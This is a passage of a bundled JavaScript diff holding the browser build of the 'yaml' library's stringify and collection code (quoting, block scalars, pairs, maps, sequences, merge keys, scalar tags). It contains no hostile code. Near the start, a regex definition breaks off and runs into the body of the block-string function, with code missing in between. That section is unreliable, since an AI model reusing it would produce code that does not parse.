indent, FOLD_QUOTED, getFoldOptions(ctx, false)); +} +function singleQuotedString(value2, ctx) { + if (ctx.options.singleQuote === false || ctx.implicitKey && value2.includes("\n") || /[ \t]\n|\n[ \t]/.test(value2)) + return doubleQuotedString(value2, ctx); + const indent = ctx.indent || (containsDocumentMarker(value2) ? " " : ""); + const res = "'" + value2.replace(/'/g, "''").replace(/\n+/g, `$& +${indent}`) + "'"; + return ctx.implicitKey ? res : foldFlowLines(res, indent, FOLD_FLOW, getFoldOptions(ctx, false)); +} +function quotedString(value2, ctx) { + const { singleQuote: singleQuote2 } = ctx.options; + let qs; + if (singleQuote2 === false) + qs = doubleQuotedString; + else { + const hasDouble = value2.includes('"'); + const hasSingle = value2.includes("'"); + if (hasDouble && !hasSingle) + qs = singleQuotedString; + else if (hasSingle && !hasDouble) + qs = doubleQuotedString; + else + qs = singleQuote2 ? singleQuotedString : doubleQuotedString; + } + return qs(value2, ctx); +} +var blockEndNewlines; +try { + blockEndNewlines = new RegExp("(^|(?\n"; + let chomp; + let endStart; + for (endStart = value2.length; endStart > 0; --endStart) { + const ch = value2[endStart - 1]; + if (ch !== "\n" && ch !== " " && ch !== " ") + break; + } + let end = value2.substring(endStart); + const endNlPos = end.indexOf("\n"); + if (endNlPos === -1) { + chomp = "-"; + } else if (value2 === end || endNlPos !== end.length - 1) { + chomp = "+"; + if (onChompKeep) + onChompKeep(); + } else { + chomp = ""; + } + if (end) { + value2 = value2.slice(0, -end.length); + if (end[end.length - 1] === "\n") + end = end.slice(0, -1); + end = end.replace(blockEndNewlines, `$&${indent}`); + } + let startWithSpace = false; + let startEnd; + let startNlPos = -1; + for (startEnd = 0; startEnd < value2.length; ++startEnd) { + const ch = value2[startEnd]; + if (ch === " ") + startWithSpace = true; + else if (ch === "\n") + startNlPos = startEnd; + else + break; + } + let start = value2.substring(0, startNlPos < startEnd ? startNlPos + 1 : startEnd); + if (start) { + value2 = value2.substring(start.length); + start = start.replace(/\n+/g, `$&${indent}`); + } + const indentSize = indent ? "2" : "1"; + let header = (startWithSpace ? indentSize : "") + chomp; + if (comment) { + header += " " + commentString(comment.replace(/ ?[\r\n]+/g, " ")); + if (onComment) + onComment(); + } + if (!literal) { + const foldedValue = value2.replace(/\n+/g, "\n$&").replace(/(?:^|\n)([\t ].*)(?:([\n\t ]*)\n(?![\n\t ]))?/g, "$1$2").replace(/\n+/g, `$&${indent}`); + let literalFallback = false; + const foldOptions = getFoldOptions(ctx, true); + if (blockQuote !== "folded" && type3 !== Scalar.BLOCK_FOLDED) { + foldOptions.onOverflow = () => { + literalFallback = true; + }; + } + const body = foldFlowLines(`${start}${foldedValue}${end}`, indent, FOLD_BLOCK, foldOptions); + if (!literalFallback) + return `>${header} +${indent}${body}`; + } + value2 = value2.replace(/\n+/g, `$&${indent}`); + return `|${header} +${indent}${start}${value2}${end}`; +} +function plainString(item, ctx, onComment, onChompKeep) { + const { type: type3, value: value2 } = item; + const { actualString, implicitKey, indent, indentStep, inFlow } = ctx; + if (implicitKey && value2.includes("\n") || inFlow && /[[\]{},]/.test(value2)) { + return quotedString(value2, ctx); + } + if (/^[\n\t ,[\]{}#&*!|>'"%@`]|^[?-]$|^[?-][ \t]|[\n:][ \t]|[ \t]\n|[\n\t ]#|[\n\t :]$/.test(value2)) { + return implicitKey || inFlow || !value2.includes("\n") ? quotedString(value2, ctx) : blockString(item, ctx, onComment, onChompKeep); + } + if (!implicitKey && !inFlow && type3 !== Scalar.PLAIN && value2.includes("\n")) { + return blockString(item, ctx, onComment, onChompKeep); + } + if (containsDocumentMarker(value2)) { + if (indent === "") { + ctx.forceBlockIndent = true; + return blockString(item, ctx, onComment, onChompKeep); + } else if (implicitKey && indent === indentStep) { + return quotedString(value2, ctx); + } + } + const str2 = value2.replace(/\n+/g, `$& +${indent}`); + if (actualString) { + const test = (tag) => tag.default && tag.tag !== "tag:yaml.org,2002:str" && tag.test?.test(str2); + const { compat, tags: tags6 } = ctx.doc.schema; + if (tags6.some(test) || compat?.some(test)) + return quotedString(value2, ctx); + } + return implicitKey ? str2 : foldFlowLines(str2, indent, FOLD_FLOW, getFoldOptions(ctx, false)); +} +function stringifyString(item, ctx, onComment, onChompKeep) { + const { implicitKey, inFlow } = ctx; + const ss = typeof item.value === "string" ? item : Object.assign({}, item, { value: String(item.value) }); + let { type: type3 } = item; + if (type3 !== Scalar.QUOTE_DOUBLE) { + if (/[\x00-\x08\x0b-\x1f\x7f-\x9f\u{D800}-\u{DFFF}]/u.test(ss.value)) + type3 = Scalar.QUOTE_DOUBLE; + } + const _stringify = (_type) => { + switch (_type) { + case Scalar.BLOCK_FOLDED: + case Scalar.BLOCK_LITERAL: + return implicitKey || inFlow ? quotedString(ss.value, ctx) : blockString(ss, ctx, onComment, onChompKeep); + case Scalar.QUOTE_DOUBLE: + return doubleQuotedString(ss.value, ctx); + case Scalar.QUOTE_SINGLE: + return singleQuotedString(ss.value, ctx); + case Scalar.PLAIN: + return plainString(ss, ctx, onComment, onChompKeep); + default: + return null; + } + }; + let res = _stringify(type3); + if (res === null) { + const { defaultKeyType, defaultStringType } = ctx.options; + const t8 = implicitKey && defaultKeyType || defaultStringType; + res = _stringify(t8); + if (res === null) + throw new Error(`Unsupported default string type ${t8}`); + } + return res; +} + +// node_modules/yaml/browser/dist/stringify/stringify.js +function createStringifyContext(doc, options) { + const opt = Object.assign({ + blockQuote: true, + commentString: stringifyComment, + defaultKeyType: null, + defaultStringType: "PLAIN", + directives: null, + doubleQuotedAsJSON: false, + doubleQuotedMinMultiLineLength: 40, + falseStr: "false", + flowCollectionPadding: true, + indentSeq: true, + lineWidth: 80, + minContentWidth: 20, + nullStr: "null", + simpleKeys: false, + singleQuote: null, + trueStr: "true", + verifyAliasOrder: true + }, doc.schema.toStringOptions, options); + let inFlow; + switch (opt.collectionStyle) { + case "block": + inFlow = false; + break; + case "flow": + inFlow = true; + break; + default: + inFlow = null; + } + return { + anchors: /* @__PURE__ */ new Set(), + doc, + flowCollectionPadding: opt.flowCollectionPadding ? " " : "", + indent: "", + indentStep: typeof opt.indent === "number" ? " ".repeat(opt.indent) : " ", + inFlow, + options: opt + }; +} +function getTagObject(tags6, item) { + if (item.tag) { + const match = tags6.filter((t8) => t8.tag === item.tag); + if (match.length > 0) + return match.find((t8) => t8.format === item.format) ?? match[0]; + } + let tagObj = void 0; + let obj; + if (isScalar(item)) { + obj = item.value; + let match = tags6.filter((t8) => t8.identify?.(obj)); + if (match.length > 1) { + const testMatch = match.filter((t8) => t8.test); + if (testMatch.length > 0) + match = testMatch; + } + tagObj = match.find((t8) => t8.format === item.format) ?? match.find((t8) => !t8.format); + } else { + obj = item; + tagObj = tags6.find((t8) => t8.nodeClass && obj instanceof t8.nodeClass); + } + if (!tagObj) { + const name2 = obj?.constructor?.name ?? (obj === null ? "null" : typeof obj); + throw new Error(`Tag not resolved for ${name2} value`); + } + return tagObj; +} +function stringifyProps(node, tagObj, { anchors, doc }) { + if (!doc.directives) + return ""; + const props = []; + const anchor = (isScalar(node) || isCollection(node)) && node.anchor; + if (anchor && anchorIsValid(anchor)) { + anchors.add(anchor); + props.push(`&${anchor}`); + } + const tag = node.tag ?? (tagObj.default ? null : tagObj.tag); + if (tag) + props.push(doc.directives.tagString(tag)); + return props.join(" "); +} +function stringify(item, ctx, onComment, onChompKeep) { + if (isPair(item)) + return item.toString(ctx, onComment, onChompKeep); + if (isAlias(item)) { + if (ctx.doc.directives) + return item.toString(ctx); + if (ctx.resolvedAliases?.has(item)) { + throw new TypeError(`Cannot stringify circular structure without alias nodes`); + } else { + if (ctx.resolvedAliases) + ctx.resolvedAliases.add(item); + else + ctx.resolvedAliases = /* @__PURE__ */ new Set([item]); + item = item.resolve(ctx.doc); + } + } + let tagObj = void 0; + const node = isNode(item) ? item : ctx.doc.createNode(item, { onTagObj: (o7) => tagObj = o7 }); + tagObj ?? (tagObj = getTagObject(ctx.doc.schema.tags, node)); + const props = stringifyProps(node, tagObj, ctx); + if (props.length > 0) + ctx.indentAtStart = (ctx.indentAtStart ?? 0) + props.length + 1; + const str2 = typeof tagObj.stringify === "function" ? tagObj.stringify(node, ctx, onComment, onChompKeep) : isScalar(node) ? stringifyString(node, ctx, onComment, onChompKeep) : node.toString(ctx, onComment, onChompKeep); + if (!props) + return str2; + return isScalar(node) || str2[0] === "{" || str2[0] === "[" ? `${props} ${str2}` : `${props} +${ctx.indent}${str2}`; +} + +// node_modules/yaml/browser/dist/stringify/stringifyPair.js +function stringifyPair({ key, value: value2 }, ctx, onComment, onChompKeep) { + const { allNullValues, doc, indent, indentStep, options: { commentString, indentSeq, simpleKeys } } = ctx; + let keyComment = isNode(key) && key.comment || null; + if (simpleKeys) { + if (keyComment) { + throw new Error("With simple keys, key nodes cannot have comments"); + } + if (isCollection(key) || !isNode(key) && typeof key === "object") { + const msg = "With simple keys, collection cannot be used as a key value"; + throw new Error(msg); + } + } + let explicitKey = !simpleKeys && (!key || keyComment && value2 == null && !ctx.inFlow || isCollection(key) || (isScalar(key) ? key.type === Scalar.BLOCK_FOLDED || key.type === Scalar.BLOCK_LITERAL : typeof key === "object")); + ctx = Object.assign({}, ctx, { + allNullValues: false, + implicitKey: !explicitKey && (simpleKeys || !allNullValues), + indent: indent + indentStep + }); + let keyCommentDone = false; + let chompKeep = false; + let str2 = stringify(key, ctx, () => keyCommentDone = true, () => chompKeep = true); + if (!explicitKey && !ctx.inFlow && str2.length > 1024) { + if (simpleKeys) + throw new Error("With simple keys, single line scalar must not span more than 1024 characters"); + explicitKey = true; + } + if (ctx.inFlow) { + if (allNullValues || value2 == null) { + if (keyCommentDone && onComment) + onComment(); + return str2 === "" ? "?" : explicitKey ? `? ${str2}` : str2; + } + } else if (allNullValues && !simpleKeys || value2 == null && explicitKey) { + str2 = `? ${str2}`; + if (keyComment && !keyCommentDone) { + str2 += lineComment(str2, ctx.indent, commentString(keyComment)); + } else if (chompKeep && onChompKeep) + onChompKeep(); + return str2; + } + if (keyCommentDone) + keyComment = null; + if (explicitKey) { + if (keyComment) + str2 += lineComment(str2, ctx.indent, commentString(keyComment)); + str2 = `? ${str2} +${indent}:`; + } else { + str2 = `${str2}:`; + if (keyComment) + str2 += lineComment(str2, ctx.indent, commentString(keyComment)); + } + let vsb, vcb, valueComment; + if (isNode(value2)) { + vsb = !!value2.spaceBefore; + vcb = value2.commentBefore; + valueComment = value2.comment; + } else { + vsb = false; + vcb = null; + valueComment = null; + if (value2 && typeof value2 === "object") + value2 = doc.createNode(value2); + } + ctx.implicitKey = false; + if (!explicitKey && !keyComment && isScalar(value2)) + ctx.indentAtStart = str2.length + 1; + chompKeep = false; + if (!indentSeq && indentStep.length >= 2 && !ctx.inFlow && !explicitKey && isSeq(value2) && !value2.flow && !value2.tag && !value2.anchor) { + ctx.indent = ctx.indent.substring(2); + } + let valueCommentDone = false; + const valueStr = stringify(value2, ctx, () => valueCommentDone = true, () => chompKeep = true); + let ws = " "; + if (keyComment || vsb || vcb) { + ws = vsb ? "\n" : ""; + if (vcb) { + const cs = commentString(vcb); + ws += ` +${indentComment(cs, ctx.indent)}`; + } + if (valueStr === "" && !ctx.inFlow) { + if (ws === "\n") + ws = "\n\n"; + } else { + ws += ` +${ctx.indent}`; + } + } else if (!explicitKey && isCollection(value2)) { + const vs0 = valueStr[0]; + const nl0 = valueStr.indexOf("\n"); + const hasNewline = nl0 !== -1; + const flow2 = ctx.inFlow ?? value2.flow ?? value2.items.length === 0; + if (hasNewline || !flow2) { + let hasPropsLine = false; + if (hasNewline && (vs0 === "&" || vs0 === "!")) { + let sp0 = valueStr.indexOf(" "); + if (vs0 === "&" && sp0 !== -1 && sp0 < nl0 && valueStr[sp0 + 1] === "!") { + sp0 = valueStr.indexOf(" ", sp0 + 1); + } + if (sp0 === -1 || nl0 < sp0) + hasPropsLine = true; + } + if (!hasPropsLine) + ws = ` +${ctx.indent}`; + } + } else if (valueStr === "" || valueStr[0] === "\n") { + ws = ""; + } + str2 += ws + valueStr; + if (ctx.inFlow) { + if (valueCommentDone && onComment) + onComment(); + } else if (valueComment && !valueCommentDone) { + str2 += lineComment(str2, ctx.indent, commentString(valueComment)); + } else if (chompKeep && onChompKeep) { + onChompKeep(); + } + return str2; +} + +// node_modules/yaml/browser/dist/nodes/addPairToJSMap.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/log.js +init_dirname(); +init_buffer2(); +init_process2(); +function warn(logLevel, warning) { + if (logLevel === "debug" || logLevel === "warn") { + console.warn(warning); + } +} + +// node_modules/yaml/browser/dist/schema/yaml-1.1/merge.js +init_dirname(); +init_buffer2(); +init_process2(); +var MERGE_KEY = "<<"; +var merge = { + identify: (value2) => value2 === MERGE_KEY || typeof value2 === "symbol" && value2.description === MERGE_KEY, + default: "key", + tag: "tag:yaml.org,2002:merge", + test: /^<<$/, + resolve: () => Object.assign(new Scalar(Symbol(MERGE_KEY)), { + addToJSMap: addMergeToJSMap + }), + stringify: () => MERGE_KEY +}; +var isMergeKey = (ctx, key) => (merge.identify(key) || isScalar(key) && (!key.type || key.type === Scalar.PLAIN) && merge.identify(key.value)) && ctx?.doc.schema.tags.some((tag) => tag.tag === merge.tag && tag.default); +function addMergeToJSMap(ctx, map4, value2) { + value2 = ctx && isAlias(value2) ? value2.resolve(ctx.doc) : value2; + if (isSeq(value2)) + for (const it2 of value2.items) + mergeValue(ctx, map4, it2); + else if (Array.isArray(value2)) + for (const it2 of value2) + mergeValue(ctx, map4, it2); + else + mergeValue(ctx, map4, value2); +} +function mergeValue(ctx, map4, value2) { + const source = ctx && isAlias(value2) ? value2.resolve(ctx.doc) : value2; + if (!isMap(source)) + throw new Error("Merge sources must be maps or map aliases"); + const srcMap = source.toJSON(null, ctx, Map); + for (const [key, value3] of srcMap) { + if (map4 instanceof Map) { + if (!map4.has(key)) + map4.set(key, value3); + } else if (map4 instanceof Set) { + map4.add(key); + } else if (!Object.prototype.hasOwnProperty.call(map4, key)) { + Object.defineProperty(map4, key, { + value: value3, + writable: true, + enumerable: true, + configurable: true + }); + } + } + return map4; +} + +// node_modules/yaml/browser/dist/nodes/addPairToJSMap.js +function addPairToJSMap(ctx, map4, { key, value: value2 }) { + if (isNode(key) && key.addToJSMap) + key.addToJSMap(ctx, map4, value2); + else if (isMergeKey(ctx, key)) + addMergeToJSMap(ctx, map4, value2); + else { + const jsKey = toJS(key, "", ctx); + if (map4 instanceof Map) { + map4.set(jsKey, toJS(value2, jsKey, ctx)); + } else if (map4 instanceof Set) { + map4.add(jsKey); + } else { + const stringKey = stringifyKey(key, jsKey, ctx); + const jsValue = toJS(value2, stringKey, ctx); + if (stringKey in map4) + Object.defineProperty(map4, stringKey, { + value: jsValue, + writable: true, + enumerable: true, + configurable: true + }); + else + map4[stringKey] = jsValue; + } + } + return map4; +} +function stringifyKey(key, jsKey, ctx) { + if (jsKey === null) + return ""; + if (typeof jsKey !== "object") + return String(jsKey); + if (isNode(key) && ctx?.doc) { + const strCtx = createStringifyContext(ctx.doc, {}); + strCtx.anchors = /* @__PURE__ */ new Set(); + for (const node of ctx.anchors.keys()) + strCtx.anchors.add(node.anchor); + strCtx.inFlow = true; + strCtx.inStringifyKey = true; + const strKey = key.toString(strCtx); + if (!ctx.mapKeyWarned) { + let jsonStr = JSON.stringify(strKey); + if (jsonStr.length > 40) + jsonStr = jsonStr.substring(0, 36) + '..."'; + warn(ctx.doc.options.logLevel, `Keys with collection values will be stringified due to JS Object restrictions: ${jsonStr}. Set mapAsMap: true to use object keys.`); + ctx.mapKeyWarned = true; + } + return strKey; + } + return JSON.stringify(jsKey); +} + +// node_modules/yaml/browser/dist/nodes/Pair.js +function createPair(key, value2, ctx) { + const k6 = createNode(key, void 0, ctx); + const v8 = createNode(value2, void 0, ctx); + return new Pair(k6, v8); +} +var Pair = class _Pair { + constructor(key, value2 = null) { + Object.defineProperty(this, NODE_TYPE, { value: PAIR }); + this.key = key; + this.value = value2; + } + clone(schema8) { + let { key, value: value2 } = this; + if (isNode(key)) + key = key.clone(schema8); + if (isNode(value2)) + value2 = value2.clone(schema8); + return new _Pair(key, value2); + } + toJSON(_6, ctx) { + const pair = ctx?.mapAsMap ? /* @__PURE__ */ new Map() : {}; + return addPairToJSMap(ctx, pair, this); + } + toString(ctx, onComment, onChompKeep) { + return ctx?.doc ? stringifyPair(this, ctx, onComment, onChompKeep) : JSON.stringify(this); + } +}; + +// node_modules/yaml/browser/dist/schema/Schema.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/schema/common/map.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/nodes/YAMLMap.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/stringify/stringifyCollection.js +init_dirname(); +init_buffer2(); +init_process2(); +function stringifyCollection(collection, ctx, options) { + const flow2 = ctx.inFlow ?? collection.flow; + const stringify5 = flow2 ? stringifyFlowCollection : stringifyBlockCollection; + return stringify5(collection, ctx, options); +} +function stringifyBlockCollection({ comment, items }, ctx, { blockItemPrefix, flowChars, itemIndent, onChompKeep, onComment }) { + const { indent, options: { commentString } } = ctx; + const itemCtx = Object.assign({}, ctx, { indent: itemIndent, type: null }); + let chompKeep = false; + const lines = []; + for (let i7 = 0; i7 < items.length; ++i7) { + const item = items[i7]; + let comment2 = null; + if (isNode(item)) { + if (!chompKeep && item.spaceBefore) + lines.push(""); + addCommentBefore(ctx, lines, item.commentBefore, chompKeep); + if (item.comment) + comment2 = item.comment; + } else if (isPair(item)) { + const ik = isNode(item.key) ? item.key : null; + if (ik) { + if (!chompKeep && ik.spaceBefore) + lines.push(""); + addCommentBefore(ctx, lines, ik.commentBefore, chompKeep); + } + } + chompKeep = false; + let str3 = stringify(item, itemCtx, () => comment2 = null, () => chompKeep = true); + if (comment2) + str3 += lineComment(str3, itemIndent, commentString(comment2)); + if (chompKeep && comment2) + chompKeep = false; + lines.push(blockItemPrefix + str3); + } + let str2; + if (lines.length === 0) { + str2 = flowChars.start + flowChars.end; + } else { + str2 = lines[0]; + for (let i7 = 1; i7 < lines.length; ++i7) { + const line = lines[i7]; + str2 += line ? ` +${indent}${line}` : "\n"; + } + } + if (comment) { + str2 += "\n" + indentComment(commentString(comment), indent); + if (onComment) + onComment(); + } else if (chompKeep && onChompKeep) + onChompKeep(); + return str2; +} +function stringifyFlowCollection({ items }, ctx, { flowChars, itemIndent }) { + const { indent, indentStep, flowCollectionPadding: fcPadding, options: { commentString } } = ctx; + itemIndent += indentStep; + const itemCtx = Object.assign({}, ctx, { + indent: itemIndent, + inFlow: true, + type: null + }); + let reqNewline = false; + let linesAtValue = 0; + const lines = []; + for (let i7 = 0; i7 < items.length; ++i7) { + const item = items[i7]; + let comment = null; + if (isNode(item)) { + if (item.spaceBefore) + lines.push(""); + addCommentBefore(ctx, lines, item.commentBefore, false); + if (item.comment) + comment = item.comment; + } else if (isPair(item)) { + const ik = isNode(item.key) ? item.key : null; + if (ik) { + if (ik.spaceBefore) + lines.push(""); + addCommentBefore(ctx, lines, ik.commentBefore, false); + if (ik.comment) + reqNewline = true; + } + const iv = isNode(item.value) ? item.value : null; + if (iv) { + if (iv.comment) + comment = iv.comment; + if (iv.commentBefore) + reqNewline = true; + } else if (item.value == null && ik?.comment) { + comment = ik.comment; + } + } + if (comment) + reqNewline = true; + let str2 = stringify(item, itemCtx, () => comment = null); + if (i7 < items.length - 1) + str2 += ","; + if (comment) + str2 += lineComment(str2, itemIndent, commentString(comment)); + if (!reqNewline && (lines.length > linesAtValue || str2.includes("\n"))) + reqNewline = true; + lines.push(str2); + linesAtValue = lines.length; + } + const { start, end } = flowChars; + if (lines.length === 0) { + return start + end; + } else { + if (!reqNewline) { + const len = lines.reduce((sum2, line) => sum2 + line.length + 2, 2); + reqNewline = ctx.options.lineWidth > 0 && len > ctx.options.lineWidth; + } + if (reqNewline) { + let str2 = start; + for (const line of lines) + str2 += line ? ` +${indentStep}${indent}${line}` : "\n"; + return `${str2} +${indent}${end}`; + } else { + return `${start}${fcPadding}${lines.join(" ")}${fcPadding}${end}`; + } + } +} +function addCommentBefore({ indent, options: { commentString } }, lines, comment, chompKeep) { + if (comment && chompKeep) + comment = comment.replace(/^\n+/, ""); + if (comment) { + const ic = indentComment(commentString(comment), indent); + lines.push(ic.trimStart()); + } +} + +// node_modules/yaml/browser/dist/nodes/YAMLMap.js +function findPair(items, key) { + const k6 = isScalar(key) ? key.value : key; + for (const it2 of items) { + if (isPair(it2)) { + if (it2.key === key || it2.key === k6) + return it2; + if (isScalar(it2.key) && it2.key.value === k6) + return it2; + } + } + return void 0; +} +var YAMLMap = class extends Collection { + static get tagName() { + return "tag:yaml.org,2002:map"; + } + constructor(schema8) { + super(MAP, schema8); + this.items = []; + } + /** + * A generic collection parsing method that can be extended + * to other node classes that inherit from YAMLMap + */ + static from(schema8, obj, ctx) { + const { keepUndefined, replacer } = ctx; + const map4 = new this(schema8); + const add2 = (key, value2) => { + if (typeof replacer === "function") + value2 = replacer.call(obj, key, value2); + else if (Array.isArray(replacer) && !replacer.includes(key)) + return; + if (value2 !== void 0 || keepUndefined) + map4.items.push(createPair(key, value2, ctx)); + }; + if (obj instanceof Map) { + for (const [key, value2] of obj) + add2(key, value2); + } else if (obj && typeof obj === "object") { + for (const key of Object.keys(obj)) + add2(key, obj[key]); + } + if (typeof schema8.sortMapEntries === "function") { + map4.items.sort(schema8.sortMapEntries); + } + return map4; + } + /** + * Adds a value to the collection. + * + * @param overwrite - If not set `true`, using a key that is already in the + * collection will throw. Otherwise, overwrites the previous value. + */ + add(pair, overwrite) { + let _pair; + if (isPair(pair)) + _pair = pair; + else if (!pair || typeof pair !== "object" || !("key" in pair)) { + _pair = new Pair(pair, pair?.value); + } else + _pair = new Pair(pair.key, pair.value); + const prev = findPair(this.items, _pair.key); + const sortEntries = this.schema?.sortMapEntries; + if (prev) { + if (!overwrite) + throw new Error(`Key ${_pair.key} already set`); + if (isScalar(prev.value) && isScalarValue(_pair.value)) + prev.value.value = _pair.value; + else + prev.value = _pair.value; + } else if (sortEntries) { + const i7 = this.items.findIndex((item) => sortEntries(_pair, item) < 0); + if (i7 === -1) + this.items.push(_pair); + else + this.items.splice(i7, 0, _pair); + } else { + this.items.push(_pair); + } + } + delete(key) { + const it2 = findPair(this.items, key); + if (!it2) + return false; + const del = this.items.splice(this.items.indexOf(it2), 1); + return del.length > 0; + } + get(key, keepScalar) { + const it2 = findPair(this.items, key); + const node = it2?.value; + return (!keepScalar && isScalar(node) ? node.value : node) ?? void 0; + } + has(key) { + return !!findPair(this.items, key); + } + set(key, value2) { + this.add(new Pair(key, value2), true); + } + /** + * @param ctx - Conversion context, originally set in Document#toJS() + * @param {Class} Type - If set, forces the returned collection type + * @returns Instance of Type, Map, or Object + */ + toJSON(_6, ctx, Type3) { + const map4 = Type3 ? new Type3() : ctx?.mapAsMap ? /* @__PURE__ */ new Map() : {}; + if (ctx?.onCreate) + ctx.onCreate(map4); + for (const item of this.items) + addPairToJSMap(ctx, map4, item); + return map4; + } + toString(ctx, onComment, onChompKeep) { + if (!ctx) + return JSON.stringify(this); + for (const item of this.items) { + if (!isPair(item)) + throw new Error(`Map items must all be pairs; found ${JSON.stringify(item)} instead`); + } + if (!ctx.allNullValues && this.hasAllNullValues(false)) + ctx = Object.assign({}, ctx, { allNullValues: true }); + return stringifyCollection(this, ctx, { + blockItemPrefix: "", + flowChars: { start: "{", end: "}" }, + itemIndent: ctx.indent || "", + onChompKeep, + onComment + }); + } +}; + +// node_modules/yaml/browser/dist/schema/common/map.js +var map = { + collection: "map", + default: true, + nodeClass: YAMLMap, + tag: "tag:yaml.org,2002:map", + resolve(map4, onError) { + if (!isMap(map4)) + onError("Expected a mapping for this tag"); + return map4; + }, + createNode: (schema8, obj, ctx) => YAMLMap.from(schema8, obj, ctx) +}; + +// node_modules/yaml/browser/dist/schema/common/seq.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/nodes/YAMLSeq.js +init_dirname(); +init_buffer2(); +init_process2(); +var YAMLSeq = class extends Collection { + static get tagName() { + return "tag:yaml.org,2002:seq"; + } + constructor(schema8) { + super(SEQ, schema8); + this.items = []; + } + add(value2) { + this.items.push(value2); + } + /** + * Removes a value from the collection. + * + * `key` must contain a representation of an integer for this to succeed. + * It may be wrapped in a `Scalar`. + * + * @returns `true` if the item was found and removed. + */ + delete(key) { + const idx = asItemIndex(key); + if (typeof idx !== "number") + return false; + const del = this.items.splice(idx, 1); + return del.length > 0; + } + get(key, keepScalar) { + const idx = asItemIndex(key); + if (typeof idx !== "number") + return void 0; + const it2 = this.items[idx]; + return !keepScalar && isScalar(it2) ? it2.value : it2; + } + /** + * Checks if the collection includes a value with the key `key`. + * + * `key` must contain a representation of an integer for this to succeed. + * It may be wrapped in a `Scalar`. + */ + has(key) { + const idx = asItemIndex(key); + return typeof idx === "number" && idx < this.items.length; + } + /** + * Sets a value in this collection. For `!!set`, `value` needs to be a + * boolean to add/remove the item from the set. + * + * If `key` does not contain a representation of an integer, this will throw. + * It may be wrapped in a `Scalar`. + */ + set(key, value2) { + const idx = asItemIndex(key); + if (typeof idx !== "number") + throw new Error(`Expected a valid index, not ${key}.`); + const prev = this.items[idx]; + if (isScalar(prev) && isScalarValue(value2)) + prev.value = value2; + else + this.items[idx] = value2; + } + toJSON(_6, ctx) { + const seq3 = []; + if (ctx?.onCreate) + ctx.onCreate(seq3); + let i7 = 0; + for (const item of this.items) + seq3.push(toJS(item, String(i7++), ctx)); + return seq3; + } + toString(ctx, onComment, onChompKeep) { + if (!ctx) + return JSON.stringify(this); + return stringifyCollection(this, ctx, { + blockItemPrefix: "- ", + flowChars: { start: "[", end: "]" }, + itemIndent: (ctx.indent || "") + " ", + onChompKeep, + onComment + }); + } + static from(schema8, obj, ctx) { + const { replacer } = ctx; + const seq3 = new this(schema8); + if (obj && Symbol.iterator in Object(obj)) { + let i7 = 0; + for (let it2 of obj) { + if (typeof replacer === "function") { + const key = obj instanceof Set ? it2 : String(i7++); + it2 = replacer.call(obj, key, it2); + } + seq3.items.push(createNode(it2, void 0, ctx)); + } + } + return seq3; + } +}; +function asItemIndex(key) { + let idx = isScalar(key) ? key.value : key; + if (idx && typeof idx === "string") + idx = Number(idx); + return typeof idx === "number" && Number.isInteger(idx) && idx >= 0 ? idx : null; +} + +// node_modules/yaml/browser/dist/schema/common/seq.js +var seq = { + collection: "seq", + default: true, + nodeClass: YAMLSeq, + tag: "tag:yaml.org,2002:seq", + resolve(seq3, onError) { + if (!isSeq(seq3)) + onError("Expected a sequence for this tag"); + return seq3; + }, + createNode: (schema8, obj, ctx) => YAMLSeq.from(schema8, obj, ctx) +}; + +// node_modules/yaml/browser/dist/schema/common/string.js +init_dirname(); +init_buffer2(); +init_process2(); +var string = { + identify: (value2) => typeof value2 === "string", + default: true, + tag: "tag:yaml.org,2002:str", + resolve: (str2) => str2, + stringify(item, ctx, onComment, onChompKeep) { + ctx = Object.assign({ actualString: true }, ctx); + return stringifyString(item, ctx, onComment, onChompKeep); + } +}; + +// node_modules/yaml/browser/dist/schema/tags.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/schema/common/null.js +init_dirname(); +init_buffer2(); +init_process2(); +var nullTag = { + identify: (value2) => value2 == null, + createNode: () => new Scalar(null), + default: true, + tag: "tag:yaml.org,2002:null", + test: /^(?:~|[Nn]ull|NULL)?$/, + resolve: () => new Scalar(null), + stringify: ({ source }, ctx) => typeof source === "string" && nullTag.test.test(source) ? source : ctx.options.nullStr +}; + +// node_modules/yaml/browser/dist/schema/core/bool.js +init_dirname(); +init_buffer2(); +init_process2(); +var boolTag = { + identify: (value2) => typeof value2 === "boolean", + default: true, + tag: "tag:yaml.org,2002:bool", + test: /^(?:[Tt]rue|TRUE|[Ff]alse|FALSE)$/, + resolve: (str2) => new Scalar(str2[0] === "t" || str2[0] === "T"), + stringify({ source, value: value2 }, ctx) { + if (source && boolTag.test.test(source)) { + const sv = source[0] === "t" || source[0] === "T"; + if (value2 === sv) + return source; + } + return value2 ? ctx.options.trueStr : ctx.options.falseStr; + } +}; + +// node_modules/yaml/browser/dist/schema/core/float.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/stringify/stringifyNumber.js +init_dirname(); +init_buffer2(); +init_process2(); +function stringifyNumber({ format: format5, minFractionDigits, tag, value: value2 }) { + if (typeof value2 === "bigint") + return String(value2); + const num = typeof value2 === "number" ? value2 : Number(value2); + if (!isFinite(num)) + return isNaN(num) ? ".nan" : num < 0 ? "-.inf" : ".inf"; + let n7 = JSON.stringify(value2); + if (!format5 && minFractionDigits && (!tag || tag === "tag:yaml.org,2002:float") && /^\d/.test(n7)) { + let i7 = n7.indexOf("."); + if (i7 < 0) { + i7 = n7.length; + n7 += "."; + } + let d7 = minFractionDigits - (n7.length - i7 - 1); + while (d7-- > 0) + n7 += "0"; + } + return n7; +} + +// node_modules/yaml/browser/dist/schema/core/float.js +var floatNaN = { + identify: (value2) => typeof value2 === "number", + default: true, + tag: "tag:yaml.org,2002:float", + test: /^(?:[-+]?\.(?:inf|Inf|INF)|\.nan|\.NaN|\.NAN)$/, + resolve: (str2) => str2.slice(-3).toLowerCase() === "nan" ? NaN : str2[0] === "-" ? Number.NEGATIVE_INFINITY : Number.POSITIVE_INFINITY, + stringify: stringifyNumber +}; +var floatExp = { + identify: (value2) => typeof value2 === "number", + default: true, + tag: "tag:yaml.org,2002:float", + format: "EXP", + test: 